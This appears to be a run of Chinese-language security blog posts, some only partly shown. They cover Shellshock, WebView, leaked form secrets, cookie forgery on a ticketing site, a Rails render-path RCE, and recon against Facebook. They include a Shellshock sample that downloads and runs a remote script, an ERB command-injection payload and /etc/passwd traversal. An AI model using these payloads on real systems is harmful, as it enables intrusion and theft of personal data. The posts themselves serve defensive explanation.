這次會受到 Shellshock 影響，就是因為這些設定會在使用者透過 ssh 登入時，呼叫 bash 執行，當環境變數被引入，惡意的程式碼就會被執行了。

Shellshock 威脅仍在擴大

目前不管是白帽駭客或是黑帽駭客都還在持續尋找可以利用 Shellshock 的地方，如同前面所述，找到可以寫入環境變數的地方，並且順利傳入 bash 執行，就可以利用該弱點來執行更進一步的攻擊。

從 Shellshock 爆發至今，陸陸續續傳出了很多公司的產品受到此弱點影響，整理在此，也有一些 POC 整理在這裡。其中不乏出現一些常用知名套件如：OpenVPN、Pure-FTPd，而且持續更新中。

現在針對 HTTP 伺服器的攻擊還是佔多數，截至目前為止我們仍持續發現網路上有各種掃描樣本，例如：

() { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a
() { :;}; /bin/bash -c "wget -P /var/tmp 174.143.2XX.XX/…/x ; perl /var/tmp/x"
() { :;};echo vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF$(echo vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF)vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF

除了這些陸續針對 HTTP 伺服器的案例，我們認為，一些公司購入的網路設備是 Shellshock 潛在高危險群，那些買來就擺在旁邊維運的設備，一來容易被忽略，二來是其更新不易，三來這些設備常使用到 bash，因此仍是現在惡意攻擊者專注研究的目標，請大家特別小心。

結論：無需過度恐慌，但別掉以輕心

「只要有 bash 的系統全部都是受駭範圍！」

不少朋友看到最近 Shellshock 的新聞報導，都十分緊張。儘管各位所使用的 bash 是含有漏洞的版本，但要成功執行攻擊手法需要許多條件，被攻擊者從遠端攻擊的機率偏低，因此大家不需要太過恐慌，只要注意以下設備或伺服器：

特定 Linux 版本，並且使用 DHCP 連線
網路、資安設備
使用 CGI 的網站伺服器
已經公布含有弱點的套件

那我們該怎麼自保呢？在攻擊手法不斷精進之下，只過濾 CVE-2014-6271 的攻擊字串並沒有辦法完全阻擋攻擊。建議可以先將伺服器的 bash 升級至最新版本，並持續關注後續更新訊息（目前持續有繞過檢查的新 CVE 弱點發佈），使用 CGI 之伺服器搭配 iptables、IDS、Mod Security 等機制偵測攻擊特徵並將其阻擋。若有設備在這次的影響範圍，也記得向原廠索取更新程式。

題外話

有人說：「Linux 在 2014 年接連出包，真是一個不安全的作業系統！反觀 Windows 在這幾次都毫無影響，企業應該要全面改用 Microsoft Solution！」，但這真的是正確的想法嗎？其實一個 OpenSource 的系統、軟體，可以藉由社群的力量檢視原始碼的問題，集合眾人的力量讓系統變得更加安全。因此有被揭露出漏洞，對於一個系統來說是好事。而非 OpenSource 的系統，就只能仰賴原廠自己的資安團隊進行研究，或者是外部資安人員的發掘了。選擇作業系統的原則，最好依照系統的功能需求、產品定位、安全漏洞的修補速度等層面，才能夠選用真正符合自己需要的系統。

註解

若手動執行 dhclient，則會遭到漏洞影響。 ↩↩²
系統環境變數會受到影響，但無法被攻擊者利用。 ↩

[Credit: Chris Goldberg(flickr)]

為了解決在應用程式中顯示網頁的需求，開發者一般會使用到由系統提供的 WebView 元件。而由於 JavaScript 被廣泛應用在網頁上，開發者通常也會把 WebView 處理 JavaScript 的功能打開，好讓大部分網頁能正常運作。但就在開啟這個像是必不可少的 JavaScript 功能時，背後一些由於系統漏洞而引發出來意想不到的風險卻有機會由此而生。接下來的部分將把這些漏洞為大家做個整理。

結語

談到這裡大家可能會有個疑問，如果應用程式中所載入的遠端網頁網址都是固定，受開發者控制的，應該就會安全沒有風險。還記得在被忽略的 SSL 處理裡提及過的中間人攻擊嗎？如果連線過程是採用明文的 HTTP ，或是加密的 HTTPS 但沒落實做好憑證檢查，內容就有機會被攻擊者竊取修改，再結合上面提到的漏洞，對使用者帶來的影響則大大增加。

下面我們製作了一段結合中間人攻擊與 addJavascriptInterface 漏洞，模擬使用者手機被入侵的影片：

從影片的最後可以看到，攻擊者取得存在漏洞的應用程式權限，並取得裡面的機敏資料。

而在繞過同源策略問題上，無論是透過 null byte 或是設定屬性來達到，其實都是屬於存在已久的手法，多年前在別的平台、瀏覽器上就已經發生過，除了編寫上的疏忽外，缺乏一個完整的測試流程去做檢查相信也是其中一個原因。

Android 的生態系統問題，使得大多數的使用者手機未能跟得上系統更新的步驟，讓他們即使知道自己所使用系統存在問題也愛莫能助。

作為開發商，應需要在系統支援度與其相應存在的安全風險中取得平衡，來決定應用程式所支援的最低版本為何。最後作為一個負責任的開發者，應為已被公開的漏洞做好應對措施，避免使用者暴露在風險當中。

參考

戴夫寇爾部落格停載了快兩個月，非常抱歉，讓各位常常催稿的朋友們久等了 <(_ _)>
今天就乘著全臺瘋買票的浪頭，來談談一些常被忽略的資訊安全小概念吧！

江蕙引退演唱會一票難求，隔岸觀了兩天火，也忍不住想要當個鍵盤孝子。無奈運氣不好一直連不上主機，『Service Unavailable』畫面看膩了，只好看看暫存頁面的網頁原始碼，不看還好，一看我驚呆了！

（特別聲明：此流程中並無任何攻擊行為，該頁面是正常購票流程中出現的網頁）

在結帳網頁原始碼當中竟然看到了疑似資料庫密碼 SqlPassWord 在表單裡面！這件事從資安的角度來看，除了表面上洩漏了資料庫密碼之外，還有兩個我想講很久但苦無機會談的資安議題，分別是金流串接常見的弱點以及駭客的心理。藉著寬宏售票網頁洩漏密碼這件事情，順道與大家分享分享吧！

談台灣網站的金流串接

在本篇的例子中，寬宏售票網頁表單出現了疑似資料庫密碼，這狀況就好像去銀行繳款，櫃檯給你一把鑰匙跟你說：『這是金庫的鑰匙，麻煩你到對面那個櫃檯把鑰匙給服務員，請他幫你把錢放進金庫裡面』。
是不是有點多此一舉，銀行本來就會有一份鑰匙，幹嘛要請你（瀏覽器）幫忙轉交？
如果今天壞人拿到了這把鑰匙，是不是只要繞過保全的視線，就可以打開金庫為所欲為？

（Photo by StockMonkeys.com）

類似的狀況也滿常發生在電子商務與第三方金流服務的串接上。
許多電子商務網站專注於商務，選擇將付款步驟委託第三方金流服務處理，一般常見的流程是這樣的：

電子商務訂單成立，電子商務網站給你一張單子，上面寫著：『訂單 123 號，金額 456 元』，請你將單子轉交給第三方金流服務網站並繳款。
金流服務網站依據你給它的單據收取 456 元，並且跟電子商務網站說：『訂單 123 已成功繳款，款項 456 元』。
最後電子商務網站告訴你訂單 123 號購買成功。

如果現在有一個惡意使用者，他做了以下惡搞：

在步驟一把電子商務網站給的單子修改成：『訂單 123 號，金額 20 元』（原價是 456 元）
金流服務商依據單據跟惡意使用者收取 20 元費用，並且告訴電子商務網站：『訂單 123 已成功繳款，款項 20 元』
最後電子商務網站看到『訂單 123 已成功繳款』的訊息，就告訴使用者說訂單 123 購買成功。也就是惡意使用者只花取 20 元就購買到原價 456 元的產品。

(聲明：為求精簡，電子商務與金流服務串接流程有經過簡化，有抓到精髓就好XD)

不管是寬宏售票出現密碼欄位還是上例電子商務網站的金流串接，最大的問題在於他們都相信使用者會正常幫忙轉交，即靠客戶端的瀏覽器來轉址傳值。要知道，利用瀏覽器轉址傳值是不可靠的，一來，重要的資訊就會被客戶知道，例如寬宏售票疑似洩漏資料庫密碼；二來中間的內容可以修改，例如修改訂單金額。另外，可能有人會發現到，在惡意使用者的步驟三裡面，電子商務網站竟然沒有確認付款金額是否正確，沒錯，這是會發生的事情，在過去經驗中，像這樣沒有比對付款金額的台灣系統比例還不少，這些疏忽都會造成企業很多成本損失，不可不注意。

台灣目前還滿常見到這種根據使用者傳來單據來收費的狀況，導致單據可竄改造成企業損失，某部分原因可以歸咎到早期第三方金流的範例都是這樣寫的，工程師也就直接延續這樣的寫法直到現在。以金流串接為例，比較好的處理方式有下面兩種：

在單據上加入防偽標記，讓惡意使用者無法輕易竄改單據。在技術上作法有點類似 OAuth 在 Signing Request 時的作法，在請求中多送一組檢查碼，透過 one-way hash 的方式檢查網址是否有被修改，目前大部分金流商都有提供相似解法。
單據不再給使用者轉交，電子商務直接傳單子『訂單 123 號，金額 20 元』給金流服務網站，並請使用者直接去專屬的金流商窗口繳費即可。在技術上就是將瀏覽器轉址傳值的動作全部變成伺服器對伺服器溝通處理掉。

以上兩種作法，將可以有效防止惡意使用者修改訂單金額。此外，建議電子商務網站在收到金流回傳的付款資訊後，能夠比對收取款項與訂單款項是否相符，如此雙重檢查，能大大避免惡意行為，減少企業處理惡意金流問題的成本。

談駭客心理

很明顯的，寬宏售票洩漏密碼的狀況是工程師的小疏漏。在不知道資料庫確切位置的前提下，知道疑似資料庫密碼的東西確實也無法做什麼，頂多就是了解了一家公司制定密碼的策略。然而，看在駭客眼裡，這點疏失會代表著一個網站面對資安的態度。連顯而易見的問題都沒有注意，那後端程式應該也有可能出現漏洞。一旦駭客決定要攻擊這個網站，勢必會搬出比平常還要多的資源去嘗試，因為他們認為這個投資報酬率很高。

一般駭客基本上會不斷的從所看到的網頁資訊來調整自己攻擊的強度，如果他們不斷看到了奇怪的登入畫面：

或是防火牆的登入畫面

就很有可能會增加攻擊的力道。上面這種登入頁面就是就是一種常見的資訊洩漏，在今年台灣駭客年會的議程－「被遺忘的資訊洩漏」就提及了這類資訊洩漏在台灣是很普及的。注意，出現這樣的頁面並不意味著網站會有漏洞，只是網站容易因此多受到一些攻擊。反之，如果一個網站前端頁面寫的乾淨漂亮，甚至連 HTTP 安全 header這種小細節都會注意到，駭客可能就會認為這個網站寫的很嚴謹，甚至連嘗試的慾望都沒有了。

一個經驗豐富的駭客，通常光看首頁就能夠判斷該網站是否可能存有漏洞，憑藉的就是這些蛛絲馬跡。為了不讓自家網站常被路過的惡意使用者攻擊，加強網頁前端的呈現、網頁原始碼乾淨有架構、沒有太多資訊洩漏，這些都是很好的防禦方法。

結論

在使用最近熱門的寬宏售票網站時，我們發現網頁原始碼存在一些疑似密碼的資訊。從這件事情出發，我們分別延伸探討了兩個工程師應該注意的議題：

第一個議題提醒大家在開發的時候，重要的資訊千萬不要透過客戶端瀏覽器幫忙轉送，記住客戶端都是不可信的，多經一手就多一分風險。文中舉出了台灣電商網站在金流串接時也常出現這樣的問題，可能會造成訂單金額被竄改等企業會有所損失的問題。
第二個議題從駭客的心理來談資安，一個網站如果沒有什麼保護機制、輕易的洩漏網站資訊，非常容易挑起駭客想要嘗試入侵的慾望；反之，若一個網站從前端到使用流程都非常注意細節，一般駭客較會興致缺缺。嚴謹的前端呈現，就某種程度來說，也是一種對自身網站的保護。

希望開發者看到上面這兩個議題有掌握到『別相信客戶端』、『駭客會因網站前端寫法不嚴謹而嘗試去攻擊』的重點，提昇自家網站的安全度吧！

最後說個題外話，身為一個工程師，我認為資訊系統該帶給世界的好處是節省大家的時間，而這次搶票卻讓無數人徹夜排隊或守在電腦前不斷的『連不上、買票、失敗』循環。這也許能夠賺到大量的新聞版面，最終票也能全部賣光，但想到台灣有數十萬小時的生產力浪費在無意義的等待上，就覺得這個系統好失敗。現在的技術已經可以負荷這樣大規模的售票，KKTIX甚至可以一分鐘處理 10 萬張劃位票券！世界在進步，過去的技術也許就該讓它留在過去。有人說：『真正幸福的人：不是搶到票，是可以像江蕙一樣選擇人生』，希望我也可以變成一個幸福的人，可以選擇一個不塞車的售票系統。

前言

(Photo by mcf1986)

Cookie 是開發網頁應用程式很常利用的東西，它是為了解決 HTTP stateless 特性但又需要有互動而產生的。開發者想把什麼資訊暫存在用戶瀏覽器都可以透過 Cookie 來完成，只要資訊量不大於約 4KB 的限制就沒問題。在這樣的空間裡，可以放購物車內的暫存商品、可以儲存讀者閱讀記錄以精準推薦產品、當然也可以寫入一些認證資訊讓使用者能保持登入狀態。

Cookie 有一些先天上的缺點，在於資料是儲存在瀏覽器端，而使用者是可以任意修改這些資料的。所以如果網站的使用者身分認證資訊依賴 Cookie，偷偷竄改那些認證資訊，也許有機會能夠欺騙網站，盜用他人身分，今天就來談談這樣的一件事情吧！

問題與回報

會想要聊這個議題，主要是因為最近很紅的宏碁雲端售票系統就是採用 Cookie 認證。上週在註冊該網站時看了一下 Cookie，發現該網站沒有使用 Session 機制的跡象，也就是單純利用 Cookie 的值來認證。

於是開始好奇認證主要的依據是什麼？從圖中可以看到 Cookie 值並不多，猜測該網站大概會是看 USER_ID、USER_ACCOUNT 來判斷你是哪個使用者，稍作測試後會發現有些頁面只依據 USER_ACCOUNT 的值來確認身分，而 USER_ACCOUNT 這個值其實就是使用者的身分證字號，也就是說任何人只要跟網站說我的身分證字號是什麼，網站就會認為你是那個身分證字號的使用者。利用這點設計上的小瑕疵，就可以竊取他人個資，更進階一點，甚至可以用來清空別人的志願單讓其他使用者買不到票。

發現這個問題後，決定通報 VulReport 漏洞回報平台，由該平台統一通知開發商。這是我第一次使用這個平台，對我而言這是一個方便且對整體資安環境有助益的平台。方便點在於，過去常常困擾於發現一些網站有設計上的疏失卻不知該不該通報，如果認識該網站的開發者倒是還好可以直接講，但對於其他不認識的，一來沒有明確窗口，二來礙於工作關係怕被認為是敲竹槓，所以影響不大的漏洞可能就放水流了。這樣放任其實不是一件健康的事情，漏洞在風險就在，有了這樣的回報平台至少可以告訴企業可能存在風險，自己也可以放心通報。事實上，對岸有類似的平台已經行之有年，最顯著的效果，就是對岸網站在 0 day 被揭露後能在一週左右全國修復，而以往可能好多年過去了漏洞還在。這真的能夠加速保護企業和使用者，很高興台灣也有了這樣的平台！

昨天早上收到了平台回報宏碁雲端售票已經修復的消息，既然已經修復且公開了，就順便講解這個問題的細節吧！希望其他開發者可以從中體會到攻擊者的思維，進而做洽當的防禦。

驗證及危害

為了方便驗證解說這個問題，這邊特別用兩個不存在的身分證字號在宏碁雲端售票申請帳號，分別是 Z288252522 和 Z239398899。測試目的是登入帳號 Z288252522 後看看是否能利用上述 Cookie 問題讀取 Z239398899 的個資。

首先登入帳號 Z288252522，找到一個會回傳個資的頁面：
https://www.jody-ticket.com.tw/UTK0196_.aspx

此時的 Cookie 值如下

從圖中發現 Cookie 的值其實是經過加密的，這點在上面說明攻擊觀念時刻意沒有提及。把 Cookie 值加密是一種防止別人修改 Cookie 值的方式，攻擊者不知道 Cookie 值的內容，自然也無法修改了。

然而這樣做還是存在些微風險，一旦這個加解密方式被找到，攻擊者就得以修改 Cookie 內容，進而盜用別人身分。在本例中，若想憑著改變 Cookie 盜用別人身分其實可以不用花時間去解加密法，這裡有一個小 trick，我們從觀察中馬上就能發現所有 Cookie 值都是用同一套加密方式，而且其中 USER_EMAIL、USER_NAME 這些還是我們可以修改的值。這也意味著如果我們把姓名改成我們想要加密的身分證字號，伺服器就會回傳一個加密好的值給 USER_NAME。我們直接來修改姓名看看：

當姓名改成目標 Z239398899 時，Cookie 中的 USER_NAME 值就會改變成我們要的加密結果。耶！是一種作業不會寫找出題老師幫忙寫的概念 XD

接著直接把 USER_NAME 的值拿來用，複製貼上到目標欄位 USER_ACCOUNT 中，之後就是以 Z239398899 的身分來讀取網頁了。我們再讀取一次 https://www.jody-ticket.com.tw/UTK0196_.aspx 看看：

成功看到 Z239398899 的資料了！如此，就可以只憑一個身分證字號讀到他人的地址電話資訊，甚至可以幫別人搶票或取消票券。這個流程寫成程式後只要兩個 request 就可以嘗試登入一個身分證字號，要大量偷取會員個資也是可行的了。

說到這邊，也許有人會質疑要猜中註冊帳戶的身分證字號是有難度的，但其實要列舉出全台灣可能在使用的身分證字號並不困難，再加上宏碁雲端的硬體其實是很不錯的，事實也證明它能夠在短時間處理四千萬個請求系統仍保持穩定，只要攻擊者網路不要卡在自家巷子口，多機器多線程佈下去猜身分證字號效率應該很可觀！

建議原則

這次的問題是兩個弱點的組合攻擊：

Cookie 加密的內容可解也可偽造－透過網站幫忙
功能缺少權限控管 (Missing Function Level Access Control)－部分頁面只憑身分證字號就可存取個資

宏碁雲端售票為了效率和分流，使用 Cookie 認證是相當合理的設計，所以要解決這個問題，從第二點來解決會是最有效且符合成本的方式，怎麼改呢？推測原本的 SQL 語句應該類似這樣：

select*fromUSERwhereaccount=USER_ACCOUNT

由於 USER_ACCOUNT 是身分證字號，容易窮舉，更嚴謹的作法可以多判斷一個 id，像是這樣：

select*fromUSERwhereaccount=USER_ACCOUNTandid=USER_ID

從只需要告訴伺服器身分證字號就回傳會員資料，到變成需要身分證字號和會員編號同時正確才會回傳會員資料，至此，攻擊者已經很難同時知道別人的會員編號和身分證字號了，因此大大降低了被猜中的機率，增加了安全性。

Cookie 一直以來都是 Web Application Security 領域的兵家必爭之地，攻擊者無不絞盡腦汁想偷到或偽造它，前陣子舉辦的 HITCON GIRLS Web 課堂練習題第一題就是改 Cookie 來偽造身分，足見這個問題有多基本和重要。

關於 Cookie，這裡提供一點原則和概念供大家參考：

首先，Cookie 是存在客戶端的，所以有機會被看到、被竄改、被其他人偷走。基於這些原因，不建議在 Cookie 中儲存機敏資料，或是存放會影響伺服器運作的重要參數，需評估一下這些暫存資料被人家看到或修改是不是沒差，這是儲存的原則。如果權衡後還是要在 Cookie 中存放重要資料，那就需要對值加密避免被讀改，而且要確保加密的強度以及其他人是否能透過其他方法解析修改。最後，Cookie 最常被偷走的方式是透過 JavaScript，所以建議在重要的 Cookie 加上 HttpOnly flag能有效的降低被偷走的機率。也來試著整理一下這一小段的重點：

☑ 機敏資料不要存
☑ 加密資訊不可少
☑ 設定標頭不怕駭
☑ 一次搞定沒煩惱

沒想到信手拈來就是三不一沒有，前面再加個勾勾，感覺好像很厲害呢！

結論

由於 Cookie 存在瀏覽器端，有被竄改的可能，所以如果網站使用 Cookie 認證就會有一些安全上的風險。本篇就以宏碁雲端售票為例，說明這種小疏忽可能會造成被盜用帳號的風險。開發者在面對使用者可以改變的變數一定要特別小心處理，做好該有的防護，還是老話一句：使用者傳來的資料皆不可信！只要掌握這個原則，開發出來的產品就能夠少很多很多風險！

行文至此，預期中是要再推廣一下漏洞回報平台，順便稱讚宏碁非常重視資安，修復快速，是良好的正循環。不過前兩天看到一些關於宏碁雲端售票的新聞時，上線發現此弱點仍未修復，這好像真的有點不應該，畢竟官方上週已經接收到通報，要修復這個弱點也只需一行判斷式…。能理解這次的弱點在短時間開發過程中很難被注意到，對於這樣一個一週不眠不休完成的售票網站，我其實也是給予滿高的評價，但如果官方能再增兩分對資安事件的重視，相信下次定能以滿分之姿呈現在使用者面前！

Rails logo

前言

從安全開發的角度來看，Ruby on Rails 是一套很友善的框架。它從框架層避免了很多過去網站常出現的安全問題，例如使用 ORM 避免大部分的 SQL injection 問題、有內建的 authenticity_token 讓開發者不必特別煩惱 CSRF、從機制面規定開發者使用 Strong Parameter 避免 Mass Assignment、預設轉化危險字元避免 XSS 等…。

就我們過去滲透測試的經驗來說，Rails 網站雖然還是能找到問題，但相對問題較少，而且很少單純因為 Rails 寫法問題拿到系統操作權。而今天要分享的，是在一次滲透測試中比較特別的例子，因為開發者使用了動態樣板路徑(Dynamic Render Paths)的寫法¹，最後造成了嚴重的結果。

動態樣板路徑，OWASP 的介紹是這樣的：

In Rails, controller actions and views can dynamically determine which view or partial to render by calling the “render” method. If user input is used in or for the template name, an attacker could cause the application to render an arbitrary view, such as an administrative page.

Care should be taken when using user input to determine which view to render. If possible, avoid any user input in the name or path to the view.

OWASP 是說，如果你的樣板路徑是動態產生的，而且使用者可以控制那個樣板路徑，那麼使用者就可以讀取到任意樣板，包含管理介面的樣板。這樣的描述感覺還好，但就我們的發現，這其實是更嚴重的直接存取物件問題(Insecure Direct Object References)，甚至有機會造成遠端命令執行(Remote Code Execution)，怎麼說呢？我們直接看下去。

基本細節

一個動態樣板路徑的寫法如下：

# app/controllers/welcome_controller.rbclassWelcomeController<ApplicationControllerdefindexpage=params[:page]||'index'renderpageendend

而 index 的樣板內容是這樣：

<!-- app/views/welcome/index.html.erb -->
This is INDEX page.

另外建一個 demo 樣板做示意：

<!-- app/views/welcome/demo.html.erb -->
This is DEMO page.

實際測試，如果我們連到 WelcomeController 的 index action，不帶任何參數會讀取 index 模版。

如果帶參數 page=demo，會讀取到 demo 模版。

所以，如果我們知道管理介面的模版路徑，送出路徑參數就可以讀取到管理介面。這就是 OWASP 所描述的風險，攻擊者得以讀取任意模版。

然而，當我們嘗試送出系統絕對路徑例如 /etc/passwd ²，網頁竟然吐出了 /etc/passwd 的內容！這就是之前所述的直接存取物件問題，可以遍歷目錄瀏覽檔案。

進階攻擊

通常在 Rails 環境下能夠讀取任意檔案，攻擊者會優先尋找 secret_token，目的是變造惡意 session cookie 利用 Marshal serialize 的問題做 RCE。然而在本案例系統使用了 Rails 4.1 後的版本，Rails 4.1 預設使用了 JSON-based 的 serializer 防止了之前的 RCE 問題，所以並沒有辦法輕鬆利用。

為了取得系統操作權，我們嘗試尋找其他可利用的地方。在這邊我們發現了該站系統 production.log 中存在 AWS 的上傳紀錄。如下：

# log/production.logINFO--:[AWSS32000.0413470retries]put_object(:acl=>:public_read,:bucket_name=>"xxxx",:content_length=>12405,:content_type=>"image/png",:data=>#<File:/Users/shaolin/project/playground/rails/render/public/uploads/tmp/test_upload.png (12405 bytes)>,:key=>"upload_001")

於是我們可以利用上傳檔案的 Content-Type 內容，將 Embedded Ruby 語句 <%=`#{params[:devcore]}`%> 添加到 production.log 檔案裡面。於是 log 的內容變成了下面這樣：

# log/production.logINFO--:[AWSS32000.0413470retries]put_object(:acl=>:public_read,:bucket_name=>"xxxx",:content_length=>12405,:content_type=>"image/png",:data=>#<File:/Users/shaolin/project/playground/rails/render/public/uploads/tmp/test_upload.png (12405 bytes)>,:key=>"upload_001")INFO--:[AWSS32000.0402110retries]put_object(:acl=>:public_read,:bucket_name=>"xxxx",:content_length=>12405,:content_type=>"<%=`#{params[:devcore]}`%>",:data=>#<File:/Users/shaolin/project/playground/rails/render/public/uploads/tmp/test_upload.png (12405 bytes)>,:key=>"upload_002")

接著，我們就可以利用前面的弱點讀取 production.log 檔案，再帶一個 devcore 參數作為指令，如圖，成功取得系統操作權 :p

風險原因

一般來說 Rails 開發並不太會這樣寫，但稍微搜尋一下 Github 還是能發現這種寫法存在一些專案中。我想主要原因多半是開發者想要偷懶，然後也可能想說動態樣板路徑頂多就被看到面板的 html，無傷大雅。誰知道就因為這樣導致整個程式碼內容被讀取。

若有一個 action 要動態顯示不同模版的需求，為了避免上述的問題，就辛苦點先用 case…when 去判斷吧。這跟不要用字串組 SQL 語句避免 SQL injection 一樣，這種外面傳進來的參數都要謹慎處理的觀念要內化在開發中。

除了開發者基本上不應該這樣開發外，Rails 本身也有一點點問題，當 render 路徑沒有副檔名，無法判斷什麼格式時，就會直接採用預設的 template handler。

# lib/action_view/template/resolver.rbdefextract_handler_and_format_and_variant(path,default_formats)pieces=File.basename(path).split(".")pieces.shiftextension=pieces.popunlessextensionmessage="The file #{path} did not specify a template handler. The default is currently ERB, "\"but will change to RAW in the future."ActiveSupport::Deprecation.warnmessageendhandler=Template.handler_for_extension(extension)format,variant=pieces.last.split(EXTENSIONS[:variants],2)ifpieces.lastformat&&=Template::Types[format][handler,format,variant]end

而這裡預設的 handler 是 ERB（見 register_default_template_handler），所以有本篇後面提到的進階攻擊，可以被利用來 RCE。

# lib/action_view/template/handlers.rbdefself.extended(base)base.register_default_template_handler:erb,ERB.newbase.register_template_handler:builder,Builder.newbase.register_template_handler:raw,Raw.newbase.register_template_handler:ruby,:source.to_procend

慶幸的是，目前 Rails 已經把預設的 template handler 從 ERB 改成 RAW，不會輕易把要 render 的檔案當成 ERB 執行了。詳細的內容請參考這個 commit。

結論

Ruby on Rails 能讓開發者較輕鬆的開發出安全的應用程式，然而，若開發者不注意，還是有可能寫出嚴重的漏洞。本文的動態樣板路徑就是這樣一個例子，它不只是 OWASP 所描述的可以存取任意模版而已，它可以遍歷檔案，甚至因為 rails 預設的 template handler 是 ERB，造成遠端命令執行讓攻擊者取得伺服器操作權。

這個例子又再次驗證，框架可以幫助大家快速開發，增加安全度。但唯有良好的安全意識，才是應用程式安全的基石。

註解

Dynamic Render Paths 目前並沒有中文翻譯，因為問題之精髓在於要產生的樣板路徑是可變動的，因此筆者認為動態樣板路徑這個翻譯較為貼切。 ↩
筆者測試的環境為 Rails 4.1.4，其他 Rails 版本有可能需要用 ../../../../../etc/passwd 跳脫目前目錄。 ↩

DEVCORE LOGO

（2015.9.16 已結束徵才）

戴夫寇爾即將要邁入第四個年頭，在過去的歲月中，我們推廣資安的重要性、強調安全開發。我們堅持提供最高品質的滲透測試服務，協助企業找出隱藏的資安威脅。我們也不斷精進技術，期許自己能成為全台灣第一的滲透測試團隊。

感謝這些年來業界朋友對我們的肯定與支持，戴夫寇爾得以茁壯，如今，我們還需要一位行政出納人才，我們渴望您的加入，做為戴夫寇爾穩定的力量。相關細節如下：

工作內容

協助處理庶務性行政工作（接聽來電、收發、接待）
負責合約管理、出缺考勤管理、帳務明細整理
規劃、執行採購庶務
應收應付款項與零用金管理
銀行往來與一般款項收付作業
協助主管執行相關業務

工作時間

10:00 - 18:00

工作地點

台北市中山區復興北路 168 號 10 樓
（捷運南京復興站，走路約三分鐘）

條件要求

需有兩年以上相關工作經驗
熟悉試算表，具獨立撰寫試算表公式能力
習慣使用雲端服務，如：Google Drive, Dropbox 或其他

加分條件

您使用過專案管理系統，如：Trello, Basecamp, Redmine 或其他
您將會使用專案管理系統管理平日任務
您是 MAC 使用者
您未來的電腦會是 MAC，我們希望您越快順暢使用電腦越好
您曾經做過行政相關職務，但對行政一職有一套自己的想法
我們是新創公司，我們歡迎您挑戰既定的行政刻版印象
您是生活駭客
您不需要會寫程式，但您習慣觀察生活中的規律，並想辦法利用這些規律有效率的解決問題

工作環境

我們注重公司每個人的身心健康，所以：

您會在一個開闊的辦公環境工作
您會擁有一張 Aeron 人體工學椅
每週補滿飲料（另有咖啡機）、零食，讓您保持心情愉快
公司提供飛鏢機讓您發洩對主管的怨氣

員工福利

第一年即有特休（照比例），每年度五天全薪病假
三節、生日禮金
每季員工聚餐
每年員工旅遊
每年員工健檢
勞保、健保、勞退、團保
定期專人按摩服務

薪資待遇

新台幣 32,000 - 40,000 （保證 14 個月）

應徵方式

請來信將您的履歷以 PDF 格式寄到 hr@devco.re，標題格式如下：
[應徵] 行政出納專員 (您的姓名)

我們會在兩週內主動與您聯繫。審查方式會有書審、線上測驗以及面試三個階段。最快將於九月初開始進行第二階段測試，煩請耐心等候。
履歷請控制在兩頁以內，需包含以下內容：

基本資料
學歷
工作經歷
社群活動經驗
特殊事蹟
MBTI 職業性格測試結果（請自行尋找線上測驗測試）

請參考範例示意（DOC、PAGES、PDF）並轉成 PDF。
若您有自信，也可以自由發揮最能呈現您能力的履歷。

附註

由於最近業務較為忙碌，若有應徵相關問題，請一律使用 Email 聯繫，造成您的不便請見諒。

我們選擇優先在部落格公布徵才資訊，是希望您也對安全議題感興趣，即使不懂技術也想為台灣資安盡一點力。如果您除了處理基本事務外還有更多想法，也歡迎與我們聯繫，我們會保留給您發揮的空間與調升薪水。

無論如何，我們都感謝您的來信，期待您的加入！

by Orange Tsai

How I Hacked Facebook, and Found Someone’s Backdoor Script (English Version)
滲透 Facebook 的思路與發現 (中文版本)

Facebook

寫在故事之前

身為一位滲透測試人員，比起 Client Side 的弱點我更喜歡 Server Side 的攻擊，能夠直接的控制伺服器、獲得權限操作 SHELL 才爽 <(￣︶￣)>

當然一次完美的滲透任何形式的弱點都不可小覷，在實際滲透時偶爾還是需要些 Client Side 弱點組合可以更完美的控制伺服器，但是在尋找弱點時我本身還是先偏向以可直接進入伺服器的方式來去尋找風險高、能長驅直入的弱點。

隨著 Facebook 在世界上越來越火紅、用戶量越來越多，一直以來都有想要嘗試看看的想法，恰巧 Facebook 在 2012 年開始有了 Bug Bounty獎金獵人的機制讓我更躍躍欲試。

一般如由滲透的角度來說習慣性都會從收集資料、偵查開始，首先界定出目標在網路上的 “範圍” 有多大，姑且可以評估一下從何處比較有機會下手。例如:

Google Hacking 到什麼資料?
用了幾個 B 段的 IP ? C 段的 IP ?
Whois? Reverse Whois?
用了什麼域名? 內部使用的域名? 接著做子域名的猜測、掃描
公司平常愛用什麼樣技術、設備?
在 Github, Pastebin 上是否有洩漏什麼資訊?
…etc

當然 Bug Bounty 並不是讓你無限制的攻擊，將所蒐集到的範圍與 Bug Bounty 所允許的範圍做交集後才是你真正可以去嘗試的目標。

一般來說大公司在滲透中比較容易出現的問題點這裡舉幾個例子來探討

對多數大公司而言，”網路邊界” 是比較難顧及、容易出現問題的一塊，當公司規模越大，同時擁有數千、數萬台機器在線，網管很難顧及到每台機器。在攻防裡，防守要防的是一個面，但攻擊只需找個一個點就可以突破，所以防守方相對處於弱勢，攻擊者只要找到一台位於網路邊界的機器入侵進去就可以開始在內網進行滲透了!
對於 “連網設備” 的安全意識相對薄弱，由於連網設備通常不會提供 SHELL 給管理員做進一步的操作，只能由設備本身所提供的介面設定，所以通常對於設備的防禦都是從網路層來抵擋，但如遇到設備本身的 0-Day 或者是 1-Day 可能連被入侵了都不自覺。
人的安全，隨著 “社工庫” 的崛起，有時可以讓一次滲透的流程變得異常簡單，從公開資料找出公司員工列表，再從社工庫找到可以登入 VPN 的員工密碼就可以開始進行內網滲透，尤其當社工庫數量越來越多 “量變成質變” 時只要關鍵人物的密碼在社工庫中可找到，那企業的安全性就全然突破 :P

理所當然在尋找 Facebook 弱點時會以平常進行滲透的思路進行，在開始搜集資料時除了針對 Facebook 本身域名查詢外也對註冊信箱進行 Reverse Whois 意外發現了個奇妙的域名名稱

tfbnw.net

TFBNW 似乎是 “TheFacebook Network” 的縮寫
再藉由公開資料發現存在下面這台這台伺服器

vpn.tfbnw.net

哇! vpn.tfbnw.net 看起來是個 Juniper SSL VPN 的登入介面，不過版本滿新的沒有直接可利用的弱點，不過這也成為了進入後面故事的開端。

TFBNW 看似是 Facebook 內部用的域名，來掃掃 vpn.tfbnw.net 同網段看會有什麼發現

Mail Server Outlook Web App
F5 BIGIP SSL VPN
CISCO ASA SSL VPN
Oracle E-Business
MobileIron MDM

